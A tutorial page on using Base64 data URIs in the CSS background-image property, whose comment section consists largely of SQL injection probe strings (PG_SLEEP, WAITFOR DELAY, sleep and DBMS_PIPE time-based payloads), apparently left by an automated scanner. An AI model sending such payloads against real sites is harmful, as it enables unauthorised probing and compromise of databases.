A virtual teacher who reveals to you the great secrets of Base64

background-image

Comments: 22 | Rating: 4.2/5

The background-image property defines one or multiple images as background of an element. Each image for background-image property can be specified as URL-address or as data URI of the image.

For example, you can use a 1x3 GIF image to draw a red striped background:

.base64-url {
  background-image: url("//static.base64.guru/uploads/images/1x3.gif")
}

The same can be achieved by encoding image to Base64 and embedding it using data URI:

.base64-data {
  background-image: url("data:image/gif;base64,R0lGODdhAQADAPABAP////8AACwAAAAAAQADAAACAgxQADs=")
}

Both behaviors are identical — when you open the page, your browser displays the same background for both elements. The difference is that in the first case the browser sends one HTTP request to fetch the external image, when in the second case the image is already loaded in the browser’s memory and it does not need to send any HTTP requests.

Please note that Base64 Data URIs have some limitations. In addition, like almost any unconventional solutions, it has both advantages and disadvantages. Therefore, if you plan to use it, first of all, read about Base64 Data URI.

Comments (22)

I hope you enjoy this discussion. In any case, I ask you to join it.

  • An0n173,
    So I am starting to pick this up more, Need to still be able to play Overwatch
    reply
  • nqhXncMU,
    -1 OR 2+638-638-1=0+0+0+1 --
    reply
  • nqhXncMU,
    2U4WFM6y') OR 967=(SELECT 967 FROM PG_SLEEP(15))--
    reply
  • nqhXncMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    reply
  • nqhXncMU,
    YyCILwOa'; waitfor delay '0:0:15' --
    reply
  • nqhXncMU,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
    reply
  • nqhXncMU,
    -1)) OR 418=(SELECT 418 FROM PG_SLEEP(15))--
    reply
  • nqhXncMU,
    -5) OR 439=(SELECT 439 FROM PG_SLEEP(15))--
    reply
  • nqhXncMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    reply
  • gBqsPxAZ,
    -1' OR 2+250-250-1=0+0+0+1 or 'TeUlPm1s'='
    reply
  • gBqsPxAZ,
    GandU5yk') OR 701=(SELECT 701 FROM PG_SLEEP(15))--
    reply
  • gBqsPxAZ,
    -1); waitfor delay '0:0:15' --
    reply
  • nqhXncMU,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
    reply
  • nqhXncMU,
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
    reply
  • nqhXncMU,
    1
    reply
  • nqhXncMU,
    -1' OR 2+876-876-1=0+0+0+1 or 'eoiNLwIa'='
    reply
  • ncMUFCMU,
    -1); waitfor delay '0:0:15' --
    reply
  • ncMUFCMU,
    -1" OR 2+783-783-1=0+0+0+1 --
    reply
  • ncMUFCMU,
    -1)) OR 991=(SELECT 991 FROM PG_SLEEP(15))--
    reply
  • nqhXncMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    reply
  • ncMUFCMU,
    -5) OR 41=(SELECT 41 FROM PG_SLEEP(15))--
    reply
  • ncMUFCMU,
    11si2mvY' OR 288=(SELECT 288 FROM PG_SLEEP(15))--
    reply
Add new comment

If you have any questions, remarks, need help, or just like this page, please feel free to let me know by leaving a comment using the form bellow.
I will be happy to read every comment and, if necessary, I will do my best to respond as quickly as possible. Of course, spammers are welcome only as readers.

Recent blog posts